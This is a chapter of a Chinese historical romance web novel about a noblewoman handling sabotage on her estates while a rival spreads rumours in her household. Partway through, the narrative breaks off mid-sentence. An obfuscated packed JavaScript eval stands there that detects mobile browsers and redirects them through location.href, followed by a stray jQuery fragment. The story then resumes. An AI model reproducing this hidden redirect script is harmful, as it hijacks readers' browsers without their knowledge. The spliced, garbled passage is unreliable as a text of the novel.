27. 小别

作品:《韫玉软香

    近来倒是发生了不少巧事。


    庄子上三番两头派人来报,有说庄子送进城的酱菜被扣,有说庄上鸡鸭一夜之间病倒大片,今日又来了一批官差,说是驿站边上修的免费茶棚要求拆除。


    桩桩件件,都冲着沈韶辞名下的产业而来。


    “夫人,这分明是有人故意捣乱!”绿漪气得眼圈都红了,“我瞧着都是宁王妃那远房亲戚抢不过生意,便来暗害咱们!”


    沈韶辞端坐案前,面色沉静如水,指尖轻轻点着摊开的账册。


    “他一普通民商,怎敢暗害我们?”


    “那便定是宁王的授意!”绿漪嚷嚷道。


    “绿漪,我们没有证据。”沈韶辞温言提醒道,“所以此言不可乱说。”


    绿漪忿忿不平地闭了嘴。


    沈韶辞目光微冷,将这几日发生的事在脑中细细过了一遍。她合上账册,站起身:“看来,我是不得不亲自去庄子上住一段时日了。”


    “夫人!”绿漪急了,“庄子那边条件艰苦,且眼下不太平,您怎能亲自涉险?不如告诉世子爷,让世子爷派人去处置……”


    “不可。”沈韶辞摇头,“夫君身在皇城司,盯着他的人太多。若他动用私权,反而落人口实。更何况——”


    她顿了顿,眼中闪过一丝锐芒:“既是冲我来的,便当由我亲自动手解决。”


    “去收拾东西,我们明日一早就出发。三个庄子我都要亲自去查看。”


    绿漪见劝不动,只得领命去准备。


    当晚,沈韶辞将决定告知顾长衡。


    顾长衡听罢,沉默片刻道:“我拨一队亲卫给你。”


    “不可。”沈韶辞当即拒绝,她微微蹙眉:“亲卫随行,太过招摇。夫君若是不放心,我便再带些府中护院同去。庄子都是我们自己的佃户,少有意外。”


    她微微一笑,眼中却有不容置疑的坚持:“我也想看看,背后之人,究竟能使出多少手段。”


    顾长衡知晓她心意已决,便也没有再劝。他握住她的手,力道有些重,叹了口气道:“万事小心。有事立刻派人回府报信,不要逞强。”


    “妾身明白。”


    ……


    沈韶辞一走,云栖堂顿时空落下来。


    顾长衡照常上值、回府,面上看不出什么,但周身的气压明显低了许多,下人们伺候时都屏息凝神,不敢出半点差错。


    而英国公府,丹松阁。


    柳琴烟得知沈韶辞出府的消息时,正在窗前绣一方帕子。针尖一顿,索性放下那绣棚作罢。


    “走了?”她轻声问,语气听不出喜怒。


    身旁丫鬟躬身答道:“是,一早就走了,看样子是往郊外去。”


    柳琴烟蹙眉疑惑道:“她去郊外作甚?”


    丫鬟无一人知。


    柳琴烟索性起身精心妆扮了一番,换上一身娇嫩的鹅黄色襦裙,发间簪了支新打的莲花宝钗,提着一食盒新做的核桃酥,袅袅婷婷地往丹松阁东厢房去了。


    王氏正倚在临窗的贵妃榻上,由小丫鬟揉着太阳穴,神色慵懒。见柳琴烟进来,也只是抬了抬眼皮。


    “姑母。”柳琴烟笑吟吟地上前行礼,将食盒捧上,“侄女新学做的核桃酥,瞧着姑母近日胃口不佳,特意拿来给您尝尝。”


    “你有心了。”王氏示意丫鬟接过,语气平淡,“坐吧。”


    柳琴烟挨着榻边的绣墩坐了,挥手让丫鬟退下,亲自为王氏按穴,手法轻柔,带着恰到好处的殷勤。


    “姑母……那沈氏去郊外,您可知道?”她状似无意地提起。


    王氏“嗯”了一声,不甚在意:“说是庄子上有些杂事,需得亲自料理。”


    “她可真是能干。”柳琴烟赞叹,话锋却不着痕迹地一转,“只是……侄女有些担心。庄子上不比府里,人多眼杂的。到底怎么说她都是国公府的世子夫人,独自住在那里,抛头露面不说,听说还要日日与那些外头雇的管事、掌柜商议事情……这,传出去怕是不好听。”


    王氏微垂的眼皮掀开,瞥了柳琴烟一眼,似笑非笑道:“你倒是想得深远。”


    “……侄女也是为咱们府上名声考虑。”柳琴烟被王氏盯得有些发虚,眉尖蹙起一抹担忧,倒是分外诚恳道:“外头那些人,最擅捕风捉影,他们若看见,英国公府的世子夫人,成日与一群外男混在一处……这瓜田李下的,纵使沈氏行得正坐得端,也堵不住那悠悠众口啊。”


    王氏笑了笑,笑意不达眼底,却将那瘆人的目光收了回去,捡了块柳琴烟送来的核桃酥抿了一口:“你倒是比之前机灵了不少。”


    柳琴烟闻言喜不自胜,却又不敢笑得太明显,偷眼觑着王氏的神色试探道:“侄女也是……也是听底下人碎嘴议论的。许是他们胡诌,姑母千万别当真。”


    王氏哼笑一声道:“我当不当真倒不要紧……只怕若有人叨扰到家里那位罗刹面前。”


    王氏点到即可,柳琴烟立马会意笑着附和道:“是啊,侄女也是这般担忧着。长衡哥哥如今在朝中何等身份?多少双眼睛盯着,若因为这些捕风捉影的闲话,损了他的清誉,或是让他心里存了疙瘩,与那沈氏生了嫌隙,那才是得不偿失。”


    ……


    是夜,顾长衡从皇城司归来,时辰已晚。


    他踏着月色回到云栖堂,室内一片清冷,只留了几盏烛灯,映着空荡荡的屋子。


    沈韶辞常用的那方青玉笔洗、常看的那几卷书,都还摆在原位,只是少了主人,便失了生气。


    顾长衡在书案后坐下,揉了揉眉心。漕运案失了军械清单,一切线索都断了,还需从头查起。加之朝中近来暗流涌动,颇耗心神。


    而他的心安处,偏生还远在郊外。


    “世子爷。”门外传来三宝的声音。


    “进。”


    三宝推门而入,面色有些凝重,低声道:“世子,庄子那边传来消息,夫人今日已安顿下。”


    “只是……下午巡城司的人又去车马店盘查了一回,虽未生事,但颇有些刁难之意。清源庄那边,被扣的货物尚未发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875161|191793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还。庄上的病禽已隔离处置,但磬芒说那病症蹊跷,不似寻常时疫。”


    顾长衡眸色一冷。看来,是有人设局在先。


    “知道了。暗中加派人手,务必护夫人周全。”他顿了顿,“再者,查清楚,背后除了宁王府,还有谁牵涉其中。”


    “是。”三宝领命,却未立刻退下,神色间有些犹豫。


    顾长衡挑眉:“还有事?”


    “方才……表姑娘院里的丫鬟,在二门处与几个婆子闲话,说……”


    三宝抬眼看了下顾长衡的脸色,声音不由自主放小道:“说夫人住在庄上,与王实等外男往来甚密,同进同出,颇不避嫌……还说什么,庄门一关,谁知里头光景……那些婆子嘴碎,已传开了些风言风语。”


    顾长衡执笔的手,倏然握紧,他抬起头,眼中寒意凛冽:“还有呢?”


    “还说……表姑娘忧心忡忡,食不下咽,直替世子爷不值,说夫人行事……有欠考量,恐损了世子爷清誉。”三宝将打听到的话,原原本本复述。


    室内死寂一片,顾长衡周身的气息,冷得能凝出冰来。


    好,很好。眼瞧着他人还在府中,府内竟然有人敢将脏水泼在他的正室夫人身上。


    顾长衡抬起眼,脸上已恢复了一片冰冷的平静,只是那平静之下,翻涌着骇人的风暴。


    他声音平淡,却带着一股森然的杀气:“嚼舌根的丫鬟婆子,各打三十棍,逐出府去。”


    “至于柳琴烟,”他顿了顿,毫无怜惜意:“告知王氏,哪里来的送回哪里去。我自会书信一封禀明柳父,严加处置。”


    沈韶辞在清源庄一住便是七八日,这些日子她过得并不轻松。


    白日里需安抚因这段风波而惶惶不安的佃户们,还需与巡城司的百般刁难周旋,要操心车马店即将正式开张的诸多细节。到了夜里,她还要在灯下核对三处庄子的账目,回信处理府中送来的庶务,常常熬到深夜。


    绿漪看在眼里,急在心上,却劝不动分毫。


    “夫人,您多少歇一歇,仔细身子。”绿漪端来安神茶,看着沈韶辞眼下淡淡的青影,心疼不已。


    沈韶辞揉了揉眉心,接过茶盏,温热的茶水入喉,稍稍驱散了疲惫。她推开账册,走到窗边。庄子的夜晚,比府中寂静得多。一弯下弦月挂在墨蓝色的天幕上,清辉寒冷。


    不知府中……他在做什么?


    想起顾长衡,沈韶辞唇边不由挂起一抹清浅的笑。早些忙完,将这些事情处理完毕,便也能早些回府与他相见。


    “巡城司那边,还是不肯放货?”沈韶辞问道。


    绿漪摇头,愤愤道:“奴婢今日又让掌柜的去问了,那边还是那套搪塞说辞,分明是故意拖延!眼看约定的交货日期只剩三日了,若是逾期,不仅要赔钱,咱们酱菜的招牌只怕也要砸了。”


    沈韶辞眸光微沉。


    巡城司扣货,理由牵强,拖延的意图明显。这背后,定是有人打了招呼。


    “明日,我亲自去一趟巡城司。”